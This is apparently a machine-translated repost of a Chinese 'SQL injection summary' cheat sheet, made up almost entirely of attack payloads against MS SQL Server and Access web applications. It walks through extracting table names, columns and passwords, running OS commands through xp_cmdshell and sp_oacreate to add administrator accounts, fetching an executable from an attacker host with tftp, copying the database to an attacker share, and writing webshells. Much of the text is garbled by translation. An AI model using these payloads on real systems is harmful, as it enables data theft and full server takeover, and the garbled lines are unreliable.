SQL injection summary (1)

xiaoxiao2021-03-06  36

Author: Years Union

Pig Sql injection summary (from the early 'or'1' = '1) The most important table name: select * from sysobjectssysobjects ncsysobjectssysindexes tsysindexessyscolumnssystypessysuserssysdatabasessysxloginssysprocesses the most important ones the user name (default is there sql database) publicdboguest (general prohibition, or no authority) db_sercurityadminab_dlladmin some default extension xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues ​​xp_regread xp_regremovemultistring xp_regwritexp_availablemedia drive related xp_dirtree directory xp_enumdsn ODBC connection xp_loginconfig server security mode information xp_makecab create compressed volume xp_ntsec_enumdomains domain information xp_terminate_process terminal process, given a PID example: sp_addextendedproc 'xp_webserver', 'c: /temp/xp_foo.dll'exec xp_webserversp_dropextendedproc' xp_webserver'bcp "select * FROM test..foo" queryout c: /inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar 'group by users.id Having 1 = 1- 'Group by users.id, users.username, users.password, users.privs having 1 = 1-'; Insert Into Users Values ​​(666, 'Attacker', 'FooBar', 0xfff) - Union Select TOP 1 Column_name from Information_schema.columns Where Table_name = 'Logintable'-union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME =' logintable 'where COLUMN_NAME NOT IN (' login_id ') - union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME =' logintable 'where COLUMN_NAME NOT IN ( 'login_id', 'login_name') - union select TOP 1 login_name FROM logintable-union select TOP 1 password FROM logintable where login_name = 'Rahul' - construction statement: query whether there xp_cmdshell 'union select @@ version, 1,1, 1 - and 1 = (Select @@ version) and 'sa' =

(select system_user) 'Union Select Ret, 1, 1, 1 from foo -' union select min (username), 1, 1, one from username> 'a'-' union select min (username), 1, 1, 1 from users where username> 'admin'-' union select password, 1, 1, 1 from users where user_name () = 'dbo'and 0 <> (Select User_Name () - Declare @Shell int exec sp_oacreate 'wscript.shell', @ shell output exec sp_oAmethod @ shell, 'run', null, 'c: /winnt/system32/cmd.exe / c net user swap 5245886 / add'and 1 = (select count (*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell'); EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 1 = (% 20select% 20count (* )% 20FROM% 20master.dbo.sysObjects% 20where% 20 type = 'x'% 20and% 20name = 'xp_cmdshell') and 1 = (select is_srvrolemember ('sysadmin')) Judging whether SA authority is AND 0 <> (SELECT TOP 1 Paths from newtable) - Branches Dafa and 1 = (select name from master.dbo.sysdatabases where dbid = 7) Get library name (from 1 to 5 is the iD of the system, 6 or more can be judged) Create a virtual directory E disk: Declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oametho D @o, 'Run', NULL, 'CScript.exe C: /inetpub/wwwroot/mkwebdir.vbs -w "Default Web Site" -V "E", "E: /"' Access Properties: (Match Write A WebShell) Declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null, 'cscript.exe c: /inetpub/wwroot/chaccess.vbs -a w3svc / 1 / root / e browse 'and 0 <> (Select Count (*) from master.dbo.sysdatabasees where name> 1 and dbid =

6) Submit DBID = 7, 8, 9 .... Get more database name and 0 <> (Select Top 1 Name from bbs.dbo.sysObjects where xtype = 'u') Vacuum is assumed to be admin AND 0 <> (Select Top 1 Name from bbs.dbo.sysObjects where xtype = 'u' and name not in ('admin')) is available. And 0 <> (Select Count (*) from bbs.dbo.sysobjects where xtype = 'u' and name = 'admin' and uid> (STR (ID))) Value Value Value assumes 18779569 UID = IDAND 0 <> (Select Top 1 Name from bbs.dbo.syscolumns where id = 18779569) Get a field of Admin, assume User_idand 0 <> (SELECT TOP 1 Name from bbs.dbo.syscolumns where id = 18779569 and name not in ('id', ...)) to fade other fields and 0 <(Select user_id from bbs bbs.dbo.admin where username> 1) You can get a password in order. . . . .

Assume that the presence of user_id usrname, password and other fields show.asp? Id = -1 Union SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, * from AdminShow.asp? ID = -1 Union SELECT 1, 2, 3, 4, 5, 6, 7, 8, *, 9, 10, 11, 12, 13 from admin (union statement is popular, Access is also special skills with branches ::% 5c = '/' or put / and / modify% 5 Submit an AND 0 <> (Select Count (*) from master.dbo.sdatabases where name> 1 and dbid = 6) And 0 <> (SELECT TOP 1 Name from bbs.dbo.sysObjects where xtype = 'u') Get a table name and 0 <> (select top 1 name from bbs.dbo.sysobjects where xtype = 'u' and name not in ('address')) and 0 <> (Select Count (*) from bbs.dbo.sysobjects where xtype = 'u' and name = 'admin' and uid> (STR (ID))) Judgment ID value and 0 <> (SELECT TOP 1 Name from BBS .dbo.syscolumns where id = 773577794) All field http: //xx.xx.xx.xx/111.asp? id = 3400; Create Table [dbo]. [swap] ([swappass] [char] (255) ); - http: //xx.xx.xx.xx/111.asp? id = 3400 and (select top 1 swappass from swap) = 1; Create Table newTable (ID ID IDETENTITY (1, 1), Paths Varchar (500)) Declare @Test varchar (20) EXEC MASTER.. pP_REGREAD @ rootkey = 'hkey_local_machine', @ Key = 'System / CurrentControlset / Services / W3SVC / Parameters / Virtual Roots / ', @Value_name =' / ', VALUES = @ Test Output Insert INTO PATHS (PATH) VALUES (@test) http://61.131.96.39/pageshow.asp?tianName= Policy and Regulations & Infoid = {57C4165A-4206-4C0D-A8D2-E70666EE4E08}; use% 20master; declare% 20 @ s% 20% 20INT; EXEC% 20sp_oAcreate% 20 "wscript.shell", @ s% 20OUT; EXEC% 20sp_oamethod% 20 @ s "run", null, "cmd.exe% 20 / c% 20PING% 201.1.1.1"; - Get the web path D: / XXXX, next: http: //xx.xx.xx.xx/111 .asp? id = 3400; USE KU1; - http: //xx.xx.xx.xx/111.asp? id = 3400;

Create Table CMD (STR Image); - Traditional XP_Cmdshell test procedure:; exec master "; exec master.dbo.sp_addlogin Hax; -; Exec Master.dbo.sp_password Null, Hax, Hax ; -; EXEC MASTER.DBO.SP_ADDSRVROLEMEMBER HAX SYSADMIN; -; exec master.dbo.xp_cmdshell 'net user Hax 5258 / Workstations: * / Times: All / Passwordchg: Yes / PasswordReq: Yes / Active: Yes / Add' ; -; exec master.dbo.xp_cmdshell 'net localgroup administrators hax / add'; - exec master..xp_servicecontrol 'start', 'schedule' exec master..xp_servicecontrol 'start', 'server'http: // www .xxx.com / list.asp? classid = 1; declare @Shell int exec sp_oacreate 'wscript.shell', @ shell output exec sp_oamethod @ shell, 'Run', NULL, 'C: /WINNT/SYSTEM32/Cmd.exe / c net user swap 5258 / add '; declare @Shell int exec sp_oacreate' wscript.shell ', @ shell output exec sp_oamethod @ shell,' run ', null,' c: /winnt/system32/cmd.exe / c net Localgroup administrators swap / add 'http://localhost/show.asp? id = 1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-declare @a sysnam E set @ a = 'xp _' 'cmdshell' exec @a 'DIR C: /' DECLARE @a sysname set @ a = 'xp' '_ cm' 'dshell' exec @a 'DIR C: /'; Declare @A; set @ a = db_name (); Backup Database @a to disk = 'Your IP Your shared directory bak.dat' If it is limited, you can.

Select * from OpenRowSet ('SQLOLEDB', 'Server'; 'Sa'; '', 'SELECT' '' '' EXEC MASTER.DBO.SP_ADDLOGIN HAX ') Traditional Query Construction: SELECT * from news where id = .. And Topic = ... and ..... Admin 'And (*) from [user] where username =' Victim 'And Right (Left (UserPass, 01), 1) =' 1 ' ) and userpass <> 'SELECT 123; -; use master; -: a' or name like 'fff%'; - Show with a user named FFFF. 'and 1 <> (user]); -; Update [users] set email = (Select Top 1 Name from sysobjects where xtype =' u 'and status> 0) Where name =' FFFF '; - Description: The above statement is to get the first user table in the database and put the table name in the mailbox field of the FFFF user.

By viewing the user information of FFFF, you can get the first table called AD and get the idffff 'of this table according to the table name Ad, Update [users] set email = (Select Top 1 id from sysobjects where xtype =' u 'and name = 'ad') Where name = 'fff'; - I can get the name of the second table in the next table, fff '; Update [users] set email = (Select Top 1 Name from sysobjects where xtype =' u 'and) ID> 581577110) WHERE Name = 'fff'; - fff '; Update [users] set email = (select top 1 count (id) from password) where name =' fff '; - fff'; Update [Users] Set email = (select top 1 pwd from password where id = 2) Where name = 'fff'; - fff '; Update [users] set email = (select top 1 name from password where id = 2) where name =' ffff '; - exec master..xp_servicecontrol' start ',' schedule 'exec master..xp_servicecontrol' start ',' server'sp_addextendedproc 'xp_webserver', 'c: /temp/xp_foo.dll' can be extended by a general storage Method call: EXEC XP_WEBSERVER Once this extension store is executed, it can be removed: sp_dropextendedProc 'xp_webserver' Insert Into Users Values ​​(666, char (0x63) char (0x68) CHAR (0x72) char (0x69) char (0x73), char (0x63) char (0x68) char (0x72) CHAR (0x69) CHAR (0x73), 0xfff) - Insert Into Users Values (667, 123, 123, 0xfff) - INSERT INTO Users Values ​​(123, 'Admin' '-', 'Password', 0xFFFF) -; And User> 0 ;; And (Select Count (*) from sysobjects> 0; And (Select Count (*) from mySysObjects> 0 // for Access database -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------- Some of usually injected: a) ID = 49 The parameters of this type of injected are digital type, the SQL statement is roughly as follows : SELECT * FROM Table Name Where field = 49 The parameter of the injected is id = 49 and [Query Condition], that is, the generated statement: SELECT * FROM table name Where field = 49 and [query condition] (b) class =

The parameters such as the continuous drama are characters, and the SQL statement is generally approveled: select * from the name of the WHERE field = series' injection parameter is class = series' and "query criteria] and '' = ', that is, generated Statement: SELECT * FROM table name Where field = 'series of series' and' = '' (c) No filtered parameters, such as keyword = keyword, SQL statement is as follows: SELECT * FROM table Name WHERE Field Like '% Keyword%' Injection Parameters is Keyword = 'AND [Query Condition] and'% 25 '=', that is, the generating statement: SELECT * FROM table name Where Field Like '%' and [Query Conditions ] and '%' = '%' ;; and (select top 1 name from sysobjects where xtype = 'u' and status> 0)> 0SysObjects is the system table of SQL Server, stores all the table names, views, constraints, and others. Object, Xtype = 'u' and status> 0, indicating the table name established by the user, the above statement removes the first table name, smaller than 0, so that the error information exposes the table name. ; And (select top 1 col_name (Object_ID ('Name')> 0 After getting the table name from 5, use Object_ID ('Name') to get the internal ID, col_name ("COL_NAME) Table name ID, 1) Represents the first field name of the table, replace it with 2, 3, 4 ... You can get the field name inside the specified sheet one by one. POST.HTM content: It is mainly convenient to enter.